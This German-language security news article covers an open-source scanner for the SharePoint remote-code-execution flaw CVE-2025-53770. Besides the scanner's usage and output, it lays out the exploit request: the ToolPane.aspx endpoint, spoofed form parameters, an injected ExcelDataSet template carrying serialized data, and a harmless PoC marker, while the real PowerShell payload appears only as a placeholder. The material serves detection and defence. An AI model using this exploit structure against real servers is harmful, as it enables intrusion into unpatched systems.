Share
Beitragsbild zu Neuer Open-Source-Scanner erkennt kritische SharePoint-Sicherheitslücke CVE-2025-53770

Neuer Open-Source-Scanner erkennt kritische SharePoint-Sicherheitslücke CVE-2025-53770

22. Juli 2025

Der belgische Cybersicherheitsexperte und Open-Source-Entwickler Niels Hofmans hat ein neues Werkzeug zur Erkennung einer kritischen Sicherheitslücke in Microsoft SharePoint-Servern veröffentlicht. Der frei verfügbare Scanner identifiziert die Schwachstelle CVE-2025-53770, die eine nicht authentifizierte Remote-Code-Ausführung ermöglicht – eine potenziell schwerwiegende Gefahr für Unternehmen.

Die Sicherheitslücke wurde kürzlich bekannt und betrifft SharePoint-Installationen, die über eine verwundbare Komponente im sogenannten ToolBox-Widget verfügen. Hofmans’ Scanner prüft Server darauf, ob sie auf eine spezifische, harmlose Markierung in diesem Widget reagieren – ein Indiz für eine mögliche Verwundbarkeit.

Laut Hofmans basiert der Scanner auf einer Payload, die er durch Reverse Engineering aus einem realen Angriff extrahieren konnte. Dabei betont er ausdrücklich, dass die Nutzung des Tools auf eigene Verantwortung erfolgt und keinerlei Garantie für die Folgen übernommen wird.

Der Scanner ist auf GitHub als Open-Source-Projekt verfügbar und richtet sich in erster Linie an Administratoren und Sicherheitsteams, die ihre SharePoint-Umgebungen rasch und zuverlässig auf die neue Schwachstelle überprüfen möchten.

Mit dem Tool erhalten IT-Sicherheitsverantwortliche ein wichtiges Hilfsmittel, um auf die zunehmenden Bedrohungen gegen Unternehmensinfrastrukturen reagieren zu können – insbesondere angesichts der Tatsache, dass bereits erste Angriffe unter Ausnutzung von CVE-2025-53770 beobachtet wurden.

Anwendung

# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> …] INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version=“MicrosoftSharePointTeamServices: 16.0.0.5469\n“
WARN[0001] target is vulnerable target=<REDACTED>

# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>

Wie funktioniert diese Sicherheitslücke?

Die Sicherheitslücke baut vermutlich auf einer zuvor bekannt gewordenen Sicherheitslücke für SharePoint auf, CVE-2025-49706. Durch Senden einer HTTP-POST-Anfrage an https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx mit einer GZIP-komprimierten, BASE64-codierten Nutzlast können Sie als SharePoint-Laufzeitprozess eine Remote-Codeausführung erreichen. Zwei Formularparameter sind hier wichtig:

  1. MSOTlPn_Uri: Steuerungquellenpfad

Dieser gibt vor, auf ein legitimes SharePoint-Steuerelement (AclEditor.ascx) zu verweisen, und täuscht SharePoint, sodass die Bearbeitung des Webparts zugelassen wird.

Dies scheint ein Scheinwert zu sein, der nur dazu dient, die Validierung zu bestehen. Die ursprüngliche schädliche Nutzlast enthält MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx, aber dieser scheint an dieser Stelle nicht verwendet zu werden.

  1. MSOTlPn_DWP: Teilweise Webkonfiguration.

Dieser Parameter fügt benutzerdefinierte ASP.NET-Direktiven (<%@ Register %>) und serverseitige Markups (<Scorecard:ExcelDataSet>) ein. Der Parameter CompressedDataTable enthält vom Angreifer kontrollierte serialisierte Daten (GZIP + Base64), die die RCE auslösen. Diese Nutzlast folgt einer bestimmten Struktur:

<%@ Register Tagprefix=“Scorecard“ Namespace=“Microsoft.PerformancePoint.Scorecards“ Assembly=“Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c“ %>
<%@ Register Tagprefix=“asp“ Namespace=“System.Web.UI“ Assembly=“System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35″ %>
<asp:UpdateProgress ID=“UpdateProgress1″ DisplayAfter=“10″ runat=“server“ AssociatedUpdatePanelID=“upTest“>
<ProgressTemplate>
<div class=“divWaiting“>
<Scorecard:ExcelDataSet CompressedDataTable=“<PAYLOAD-GZIPPED-BASE64-ENCODED>“ DataTable-CaseSensitive=“false“ runat=“server“></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>

Wenn ein Steuerelement wie Scorecard:ExcelDataSet vorhanden ist und dessen Eigenschaft CompressedDataTable festgelegt ist, wird es direkt vom SharePoint DWP-Parser deserialisiert.

Die Nutzlast selbst kann recht interessant sein, da sie einen System.DelegateSerializationHolder enthalten kann, der eine Deserialisierung-RCE auslöst. Angreifer haben dies ausgenutzt, um /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> in ihrer Nutzlast zu übergeben und so die Ausführung von Code zu erreichen. In unserem Fall übergeben wir lediglich einen statischen Platzhalter, um die Ausnutzbarkeit zu beweisen.

<diffgr:diffgram xmlns:msdata=“urn:schemas-microsoft-com:xml-msdata“ xmlns:diffgr=“urn:schemas-microsoft-com:xml-diffgram-v1″>
<foo>
<bar diffgr:id=“Table“ msdata:rowOrder=“0″ diffgr:hasChanges=“inserted“>
<poc xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance“ xmlns:xsd=“http://www.w3.org/2001/XMLSchema“>
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>